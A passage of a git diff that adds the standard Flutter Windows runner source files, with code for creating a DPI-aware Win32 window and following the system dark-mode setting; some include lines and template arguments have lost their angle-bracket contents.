CreateAndAttachConsole(); + +// Takes a null-terminated wchar_t* encoded in UTF-16 and returns a std::string +// encoded in UTF-8. Returns an empty std::string on failure. +std::string Utf8FromUtf16(const wchar_t* utf16_string); + +// Gets the command line arguments passed in as a std::vector, +// encoded in UTF-8. Returns an empty std::vector on failure. +std::vector GetCommandLineArguments(); + +#endif // RUNNER_UTILS_H_ diff --git a/windows/runner/win32_window.cpp b/windows/runner/win32_window.cpp new file mode 100644 index 0000000..b5ba2a0 --- /dev/null +++ b/windows/runner/win32_window.cpp @@ -0,0 +1,288 @@ +#include "win32_window.h" + +#include +#include + +#include "resource.h" + +namespace { + +/// Window attribute that enables dark mode window decorations. +/// +/// Redefined in case the developer's machine has a Windows SDK older than +/// version 10.0.22000.0. +/// See: https://docs.microsoft.com/windows/win32/api/dwmapi/ne-dwmapi-dwmwindowattribute +#ifndef DWMWA_USE_IMMERSIVE_DARK_MODE +#define DWMWA_USE_IMMERSIVE_DARK_MODE 20 +#endif + +constexpr const wchar_t kWindowClassName[] = L"FLUTTER_RUNNER_WIN32_WINDOW"; + +/// Registry key for app theme preference. +/// +/// A value of 0 indicates apps should use dark mode. A non-zero or missing +/// value indicates apps should use light mode. +constexpr const wchar_t kGetPreferredBrightnessRegKey[] = + L"Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize"; +constexpr const wchar_t kGetPreferredBrightnessRegValue[] = L"AppsUseLightTheme"; + +// The number of Win32Window objects that currently exist. +static int g_active_window_count = 0; + +using EnableNonClientDpiScaling = BOOL __stdcall(HWND hwnd); + +// Scale helper to convert logical scaler values to physical using passed in +// scale factor +int Scale(int source, double scale_factor) { + return static_cast(source * scale_factor); +} + +// Dynamically loads the |EnableNonClientDpiScaling| from the User32 module. +// This API is only needed for PerMonitor V1 awareness mode. +void EnableFullDpiSupportIfAvailable(HWND hwnd) { + HMODULE user32_module = LoadLibraryA("User32.dll"); + if (!user32_module) { + return; + } + auto enable_non_client_dpi_scaling = + reinterpret_cast( + GetProcAddress(user32_module, "EnableNonClientDpiScaling")); + if (enable_non_client_dpi_scaling != nullptr) { + enable_non_client_dpi_scaling(hwnd); + } + FreeLibrary(user32_module); +} + +} // namespace + +// Manages the Win32Window's window class registration. +class WindowClassRegistrar { + public: + ~WindowClassRegistrar() = default; + + // Returns the singleton registrar instance. + static WindowClassRegistrar* GetInstance() { + if (!instance_) { + instance_ = new WindowClassRegistrar(); + } + return instance_; + } + + // Returns the name of the window class, registering the class if it hasn't + // previously been registered. + const wchar_t* GetWindowClass(); + + // Unregisters the window class. Should only be called if there are no + // instances of the window. + void UnregisterWindowClass(); + + private: + WindowClassRegistrar() = default; + + static WindowClassRegistrar* instance_; + + bool class_registered_ = false; +}; + +WindowClassRegistrar* WindowClassRegistrar::instance_ = nullptr; + +const wchar_t* WindowClassRegistrar::GetWindowClass() { + if (!class_registered_) { + WNDCLASS window_class{}; + window_class.hCursor = LoadCursor(nullptr, IDC_ARROW); + window_class.lpszClassName = kWindowClassName; + window_class.style = CS_HREDRAW | CS_VREDRAW; + window_class.cbClsExtra = 0; + window_class.cbWndExtra = 0; + window_class.hInstance = GetModuleHandle(nullptr); + window_class.hIcon = + LoadIcon(window_class.hInstance, MAKEINTRESOURCE(IDI_APP_ICON)); + window_class.hbrBackground = 0; + window_class.lpszMenuName = nullptr; + window_class.lpfnWndProc = Win32Window::WndProc; + RegisterClass(&window_class); + class_registered_ = true; + } + return kWindowClassName; +} + +void WindowClassRegistrar::UnregisterWindowClass() { + UnregisterClass(kWindowClassName, nullptr); + class_registered_ = false; +} + +Win32Window::Win32Window() { + ++g_active_window_count; +} + +Win32Window::~Win32Window() { + --g_active_window_count; + Destroy(); +} + +bool Win32Window::Create(const std::wstring& title, + const Point& origin, + const Size& size) { + Destroy(); + + const wchar_t* window_class = + WindowClassRegistrar::GetInstance()->GetWindowClass(); + + const POINT target_point = {static_cast(origin.x), + static_cast(origin.y)}; + HMONITOR monitor = MonitorFromPoint(target_point, MONITOR_DEFAULTTONEAREST); + UINT dpi = FlutterDesktopGetDpiForMonitor(monitor); + double scale_factor = dpi / 96.0; + + HWND window = CreateWindow( + window_class, title.c_str(), WS_OVERLAPPEDWINDOW, + Scale(origin.x, scale_factor), Scale(origin.y, scale_factor), + Scale(size.width, scale_factor), Scale(size.height, scale_factor), + nullptr, nullptr, GetModuleHandle(nullptr), this); + + if (!window) { + return false; + } + + UpdateTheme(window); + + return OnCreate(); +} + +bool Win32Window::Show() { + return ShowWindow(window_handle_, SW_SHOWNORMAL); +} + +// static +LRESULT CALLBACK Win32Window::WndProc(HWND const window, + UINT const message, + WPARAM const wparam, + LPARAM const lparam) noexcept { + if (message == WM_NCCREATE) { + auto window_struct = reinterpret_cast(lparam); + SetWindowLongPtr(window, GWLP_USERDATA, + reinterpret_cast(window_struct->lpCreateParams)); + + auto that = static_cast(window_struct->lpCreateParams); + EnableFullDpiSupportIfAvailable(window); + that->window_handle_ = window; + } else if (Win32Window* that = GetThisFromHandle(window)) { + return that->MessageHandler(window, message, wparam, lparam); + } + + return DefWindowProc(window, message, wparam, lparam); +} + +LRESULT +Win32Window::MessageHandler(HWND hwnd, + UINT const message, + WPARAM const wparam, + LPARAM const lparam) noexcept { + switch (message) { + case WM_DESTROY: + window_handle_ = nullptr; + Destroy(); + if (quit_on_close_) { + PostQuitMessage(0); + } + return 0; + + case WM_DPICHANGED: { + auto newRectSize = reinterpret_cast(lparam); + LONG newWidth = newRectSize->right - newRectSize->left; + LONG newHeight = newRectSize->bottom - newRectSize->top; + + SetWindowPos(hwnd, nullptr, newRectSize->left, newRectSize->top, newWidth, + newHeight, SWP_NOZORDER | SWP_NOACTIVATE); + + return 0; + } + case WM_SIZE: { + RECT rect = GetClientArea(); + if (child_content_ != nullptr) { + // Size and position the child window. + MoveWindow(child_content_, rect.left, rect.top, rect.right - rect.left, + rect.bottom - rect.top, TRUE); + } + return 0; + } + + case WM_ACTIVATE: + if (child_content_ != nullptr) { + SetFocus(child_content_); + } + return 0; + + case WM_DWMCOLORIZATIONCOLORCHANGED: + UpdateTheme(hwnd); + return 0; + } + + return DefWindowProc(window_handle_, message, wparam, lparam); +} + +void Win32Window::Destroy() { + OnDestroy(); + + if (window_handle_) { + DestroyWindow(window_handle_); + window_handle_ = nullptr; + } + if (g_active_window_count == 0) { + WindowClassRegistrar::GetInstance()->UnregisterWindowClass(); + } +} + +Win32Window* Win32Window::GetThisFromHandle(HWND const window) noexcept { + return reinterpret_cast( + GetWindowLongPtr(window, GWLP_USERDATA)); +} + +void Win32Window::SetChildContent(HWND content) { + child_content_ = content; + SetParent(content, window_handle_); + RECT frame = GetClientArea(); + + MoveWindow(content, frame.left, frame.top, frame.right - frame.left, + frame.bottom - frame.top, true); + + SetFocus(child_content_); +} + +RECT Win32Window::GetClientArea() { + RECT frame; + GetClientRect(window_handle_, &frame); + return frame; +} + +HWND Win32Window::GetHandle() { + return window_handle_; +} + +void Win32Window::SetQuitOnClose(bool quit_on_close) { + quit_on_close_ = quit_on_close; +} + +bool Win32Window::OnCreate() { + // No-op; provided for subclasses. + return true; +} + +void Win32Window::OnDestroy() { + // No-op; provided for subclasses. +} + +void Win32Window::UpdateTheme(HWND const window) { + DWORD light_mode; + DWORD light_mode_size = sizeof(light_mode); + LSTATUS result = RegGetValue(HKEY_CURRENT_USER, kGetPreferredBrightnessRegKey, + kGetPreferredBrightnessRegValue, + RRF_RT_REG_DWORD, nullptr, &light_mode, + &light_mode_size); + + if (result == ERROR_SUCCESS) { + BOOL enable_dark_mode = light_mode == 0; + DwmSetWindowAttribute(window, DWMWA_USE_IMMERSIVE_DARK_MODE, + &enable_dark_mode, sizeof(enable_dark_mode)); + } +} diff --git a/windows/runner/win32_window.h b/windows/runner/win32_window.h new file mode 100644 index 0000000..49b847f --- /dev/null +++ b/windows/runner/win32_window.h @@ -0,0 +1,102 @@ +#ifndef RUNNER_WIN32_WINDOW_H_ +#define RUNNER_WIN32_WINDOW_H_ + +#include + +#include +#include +#include + +// A class abstraction for a high DPI-aware Win32 Window. Intended to be +// inherited from by classes that wish to specialize with custom +// rendering and input handling +class Win32Window { + public: + struct Point { + unsigned int x; + unsigned int y; + Point(unsigned int x, unsigned int y) : x(x), y(y) {} + }; + + struct Size { + unsigned int width; + unsigned int height; + Size(unsigned int width, unsigned int height) + : width(width), height(height) {} + }; + + Win32Window(); + virtual ~Win32Window(); + + // Creates a win32 window with |title| that is positioned and sized using + // |origin| and |size|. New windows are created on the default monitor. Window + // sizes are specified to the OS in physical pixels, hence to ensure a + // consistent size this function will scale the inputted width and height as + // as appropriate for the default monitor. The window is invisible until + // |Show| is called. Returns true if the window was created successfully. + bool Create(const std::wstring& title, const Point& origin, const Size& size); + + // Show the current window. Returns true if the window was successfully shown. + bool Show(); + + // Release OS resources associated with window. + void Destroy(); + + // Inserts |content| into the window tree. + void SetChildContent(HWND content); + + // Returns the backing Window handle to enable clients to set icon and other + // window properties. Returns nullptr if the window has been destroyed. + HWND GetHandle(); + + // If true, closing this window will quit the application. + void SetQuitOnClose(bool quit_on_close); + + // Return a RECT representing the bounds of the current client area. + RECT GetClientArea(); + + protected: + // Processes and route salient window messages for mouse handling, + // size change and DPI. Delegates handling of these to member overloads that + // inheriting classes can handle. + virtual LRESULT MessageHandler(HWND window, + UINT const message, + WPARAM const wparam, + LPARAM const lparam) noexcept; + + // Called when CreateAndShow is called, allowing subclass window-related + // setup. Subclasses should return false if setup fails. + virtual bool OnCreate(); + + // Called when Destroy is called. + virtual void OnDestroy(); + + private: + friend class WindowClassRegistrar; + + // OS callback called by message pump. Handles the WM_NCCREATE message which + // is passed when the non-client area is being created and enables automatic + // non-client DPI scaling so that the non-client area automatically + // responds to changes in DPI. All other messages are handled by + // MessageHandler. + static LRESULT CALLBACK WndProc(HWND const window, + UINT const message, + WPARAM const wparam, + LPARAM const lparam) noexcept; + + // Retrieves a class instance pointer for |window| + static Win32Window* GetThisFromHandle(HWND const window) noexcept; + + // Update the window frame's theme to match the system theme. + static void UpdateTheme(HWND const window); + + bool quit_on_close_ = false; + + // window handle for top level window. + HWND window_handle_ = nullptr; + + // window handle for hosted content. + HWND child_content_ = nullptr; +}; + +#endif // RUNNER_WIN32_WINDOW_H_